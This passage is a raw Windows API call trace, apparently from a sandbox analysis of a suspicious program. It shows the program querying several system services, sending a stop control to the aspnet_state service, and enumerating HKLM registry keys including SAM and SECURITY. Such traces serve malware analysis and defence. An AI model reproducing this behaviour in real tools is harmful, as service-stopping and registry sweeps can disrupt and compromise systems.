BaseAddress=0x1de5378) returned 1 [0249.466] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4258 [0249.466] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5378 [0249.466] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5598 [0249.466] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5620 [0249.466] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de56a8 [0249.466] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5730 [0249.466] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="wsearch", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0249.466] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de42a0 [0249.467] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="wsearch", cchWideChar=7, lpMultiByteStr=0x1de42a0, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="wsearch", lpUsedDefaultChar=0x0) returned 7 [0249.467] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de42e8 [0249.467] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de42a0) returned 1 [0249.467] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de42e8) returned 1 [0249.467] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de5730) returned 1 [0249.467] OpenServiceW (hSCManager=0x5d6d80, lpServiceName="WSearch", dwDesiredAccess=0x1) returned 0x5d6ee8 [0249.467] CloseServiceHandle (hSCObject=0x5d6df8) returned 1 [0249.467] QueryServiceConfigW (in: hService=0x5d6ee8, lpServiceConfig=0x0, cbBufSize=0x0, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x0, pcbBytesNeeded=0x18fbe8) returned 0 [0249.468] GetLastError () returned 0x7a [0249.468] QueryServiceConfigW (in: hService=0x5d6ee8, lpServiceConfig=0x1dd29e0, cbBufSize=0x10c, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x1dd29e0, pcbBytesNeeded=0x18fbe8) returned 1 [0249.468] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5730 [0249.468] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de57b8 [0249.468] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de5730) returned 1 [0249.468] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de57b8) returned 1 [0249.468] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de57b8 [0249.469] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5730 [0249.469] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de57b8) returned 1 [0249.469] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de5730) returned 1 [0249.469] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5730 [0249.469] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="searchindexer.exe", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0249.469] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de42e8 [0249.469] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="searchindexer.exe", cchWideChar=17, lpMultiByteStr=0x1de42e8, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="searchindexer.exe", lpUsedDefaultChar=0x0) returned 17 [0249.469] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de42a0 [0249.469] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de42e8) returned 1 [0249.469] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de42a0) returned 1 [0249.469] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de5730) returned 1 [0249.469] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de42a0 [0249.469] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5730 [0249.469] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de57b8 [0249.469] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5840 [0249.469] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de58c8 [0249.469] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5950 [0249.469] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="wuauserv", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0249.469] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de42e8 [0249.469] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="wuauserv", cchWideChar=8, lpMultiByteStr=0x1de42e8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="wuauserv", lpUsedDefaultChar=0x0) returned 8 [0249.469] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4330 [0249.469] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de42e8) returned 1 [0249.469] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4330) returned 1 [0249.469] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de5950) returned 1 [0249.469] OpenServiceW (hSCManager=0x5d6d80, lpServiceName="wuauserv", dwDesiredAccess=0x1) returned 0x5d6d08 [0249.470] CloseServiceHandle (hSCObject=0x5d6ee8) returned 1 [0249.470] QueryServiceConfigW (in: hService=0x5d6d08, lpServiceConfig=0x0, cbBufSize=0x0, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x0, pcbBytesNeeded=0x18fbe8) returned 0 [0249.470] GetLastError () returned 0x7a [0249.470] QueryServiceConfigW (in: hService=0x5d6d08, lpServiceConfig=0x1dd29e0, cbBufSize=0x100, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x1dd29e0, pcbBytesNeeded=0x18fbe8) returned 1 [0249.471] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5950 [0249.471] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de59d8 [0249.471] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de5950) returned 1 [0249.471] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de59d8) returned 1 [0249.471] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de59d8 [0249.471] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5950 [0249.471] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de59d8) returned 1 [0249.471] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de5950) returned 1 [0249.471] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5950 [0249.471] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0249.471] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4330 [0249.471] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x1de4330, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="svchost.exe", lpUsedDefaultChar=0x0) returned 11 [0249.471] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de42e8 [0249.471] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4330) returned 1 [0249.471] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de42e8) returned 1 [0249.471] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de5950) returned 1 [0249.471] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de42e8 [0249.471] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5950 [0249.471] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de59d8 [0249.471] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5a60 [0249.471] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5ae8 [0249.471] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5b70 [0249.472] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="wudfsvc", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0249.472] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4330 [0249.472] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="wudfsvc", cchWideChar=7, lpMultiByteStr=0x1de4330, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="wudfsvc", lpUsedDefaultChar=0x0) returned 7 [0249.472] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4378 [0249.472] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4330) returned 1 [0249.472] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4378) returned 1 [0249.472] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de5b70) returned 1 [0249.472] OpenServiceW (hSCManager=0x5d6d80, lpServiceName="wudfsvc", dwDesiredAccess=0x1) returned 0x5d6e98 [0249.472] CloseServiceHandle (hSCObject=0x5d6d08) returned 1 [0249.472] QueryServiceConfigW (in: hService=0x5d6e98, lpServiceConfig=0x0, cbBufSize=0x0, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x0, pcbBytesNeeded=0x18fbe8) returned 0 [0249.473] GetLastError () returned 0x7a [0249.473] QueryServiceConfigW (in: hService=0x5d6e98, lpServiceConfig=0x1dd29e0, cbBufSize=0x19e, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x1dd29e0, pcbBytesNeeded=0x18fbe8) returned 1 [0249.474] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5b70 [0249.474] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5bf8 [0249.474] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de5b70) returned 1 [0249.474] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de5bf8) returned 1 [0249.474] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5bf8 [0249.474] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5b70 [0249.474] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de5bf8) returned 1 [0249.474] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de5b70) returned 1 [0249.474] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5b70 [0249.474] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0249.474] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4378 [0249.474] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x1de4378, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="svchost.exe", lpUsedDefaultChar=0x0) returned 11 [0249.474] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4330 [0249.474] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4378) returned 1 [0249.474] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4330) returned 1 [0249.474] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de5b70) returned 1 [0249.474] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4330 [0249.474] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5b70 [0249.474] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5bf8 [0249.474] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5c80 [0249.474] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5d08 [0249.474] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5d90 [0249.474] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="wwansvc", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0249.474] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4378 [0249.474] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="wwansvc", cchWideChar=7, lpMultiByteStr=0x1de4378, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="wwansvc", lpUsedDefaultChar=0x0) returned 7 [0249.474] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de43c0 [0249.474] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4378) returned 1 [0249.474] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de43c0) returned 1 [0249.474] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de5d90) returned 1 [0249.474] OpenServiceW (hSCManager=0x5d6d80, lpServiceName="WwanSvc", dwDesiredAccess=0x1) returned 0x5d6df8 [0249.475] CloseServiceHandle (hSCObject=0x5d6e98) returned 1 [0249.475] QueryServiceConfigW (in: hService=0x5d6df8, lpServiceConfig=0x0, cbBufSize=0x0, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x0, pcbBytesNeeded=0x18fbe8) returned 0 [0249.476] GetLastError () returned 0x7a [0249.476] QueryServiceConfigW (in: hService=0x5d6df8, lpServiceConfig=0x1dd29e0, cbBufSize=0x170, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x1dd29e0, pcbBytesNeeded=0x18fbe8) returned 1 [0249.476] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5d90 [0249.476] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5e18 [0249.476] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de5d90) returned 1 [0249.476] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de5e18) returned 1 [0249.476] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5e18 [0249.476] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5d90 [0249.476] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de5e18) returned 1 [0249.476] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de5d90) returned 1 [0249.476] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5d90 [0249.476] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0249.476] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de43c0 [0249.477] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x1de43c0, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="svchost.exe", lpUsedDefaultChar=0x0) returned 11 [0249.477] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4378 [0249.477] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de43c0) returned 1 [0249.477] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4378) returned 1 [0249.477] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de5d90) returned 1 [0249.477] CloseServiceHandle (hSCObject=0x5d6df8) returned 1 [0249.477] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1dd29e0) returned 1 [0249.477] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1e27ea8) returned 1 [0249.477] CryptAcquireContextW (in: phProv=0x18fc2c, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x18fc2c*=0x5d3ac0) returned 1 [0249.478] CryptGenRandom (in: hProv=0x5d3ac0, dwLen=0x4, pbBuffer=0x18fc40 | out: pbBuffer=0x18fc40) returned 1 [0249.478] CryptReleaseContext (hProv=0x5d3ac0, dwFlags=0x0) returned 1 [0249.478] OpenServiceW (hSCManager=0x5d6d80, lpServiceName="aspnet_state", dwDesiredAccess=0x20) returned 0x5d6d08 [0249.478] ControlService (in: hService=0x5d6d08, dwControl=0x1, lpServiceStatus=0x18fb90 | out: lpServiceStatus=0x18fb90*(dwServiceType=0x10, dwCurrentState=0x1, dwControlsAccepted=0x0, dwWin32ExitCode=0x435, dwServiceSpecificExitCode=0x0, dwCheckPoint=0x0, dwWaitHint=0x0)) returned 0 [0249.479] GetLastError () returned 0x426 [0249.479] CloseServiceHandle (hSCObject=0x5d6d08) returned 1 [0249.479] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4378 [0249.479] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de43c0 [0249.479] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5d90 [0249.479] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x280) returned 0x1dd29e0 [0249.479] SHRegDuplicateHKey (hkey=0x80000002) returned 0x80000002 [0249.479] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x0, lpName=0x1dd29e0, cchName=0x104 | out: lpName="BCD00000000") returned 0x0 [0249.479] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5e18 [0249.479] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bcd00000000", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0249.479] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4408 [0249.479] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bcd00000000", cchWideChar=11, lpMultiByteStr=0x1de4408, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bcd00000000", lpUsedDefaultChar=0x0) returned 11 [0249.479] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4450 [0249.479] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4408) returned 1 [0249.479] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4450) returned 1 [0249.479] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de5e18) returned 1 [0249.479] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x1, lpName=0x1dd29e0, cchName=0x104 | out: lpName="HARDWARE") returned 0x0 [0249.479] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5e18 [0249.480] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hardware", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0249.480] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4450 [0249.480] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hardware", cchWideChar=8, lpMultiByteStr=0x1de4450, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hardware", lpUsedDefaultChar=0x0) returned 8 [0249.480] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4408 [0249.480] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4450) returned 1 [0249.480] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4408) returned 1 [0249.480] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de5e18) returned 1 [0249.480] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x2, lpName=0x1dd29e0, cchName=0x104 | out: lpName="SAM") returned 0x0 [0249.480] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5e18 [0249.480] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="sam", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0249.480] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4408 [0249.480] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="sam", cchWideChar=3, lpMultiByteStr=0x1de4408, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sam", lpUsedDefaultChar=0x0) returned 3 [0249.480] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4450 [0249.480] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4408) returned 1 [0249.480] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4450) returned 1 [0249.480] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de5e18) returned 1 [0249.480] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x3, lpName=0x1dd29e0, cchName=0x104 | out: lpName="SECURITY") returned 0x0 [0249.480] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5e18 [0249.480] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="security", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0249.480] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4450 [0249.480] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="security", cchWideChar=8, lpMultiByteStr=0x1de4450, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="security", lpUsedDefaultChar=0x0) returned 8 [0249.480] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4408 [0249.480] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4450) returned 1 [0249.480] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4408) returned 1 [0249.480] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de5e18) returned 1 [0249.480] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x4, lpName=0x1dd29e0, cchName=0x104 | out: lpName="SOFTWARE") returned 0x0 [0249.480] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5e18 [0249.480] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="software", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0249.480] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4408 [0249.480] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="software", cchWideChar=8, lpMultiByteStr=0x1de4408, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="software", lpUsedDefaultChar=0x0) returned 8 [0249.480] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4450 [0249.480] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4408) returned 1 [0249.480] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4450) returned 1 [0249.480] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de5e18) returned 1 [0249.480] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x5, lpName=0x1dd29e0, cchName=0x104 | out: lpName="SYSTEM") returned 0x0 [0249.481] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5e18 [0249.481] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="system", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0249.481] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4450 [0249.481] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="system", cchWideChar=6, lpMultiByteStr=0x1de4450, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="system", lpUsedDefaultChar=0x0) returned 6 [0249.481] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4408 [0249.481] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4450) returned 1 [0249.481] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4408) returned 1 [0249.481] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de5e18) returned 1 [0249.481] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="SYSTEM", ulOptions=0x0, samDesired=0x20109, phkResult=0x18fb68 | out: phkResult=0x18fb68*=0x154) returned 0x0 [0249.481] RegCloseKey (hKey=0x80000002) returned 0x0 [0249.481] RegEnumKeyW (in: hKey=0x154, dwIndex=0x0, lpName=0x1dd29e0, cchName=0x104 | out: lpName="ControlSet001") returned 0x0 [0249.481] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5e18 [0249.481] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="controlset001", cchWideChar=13, lpMultiByteStr=0x0, 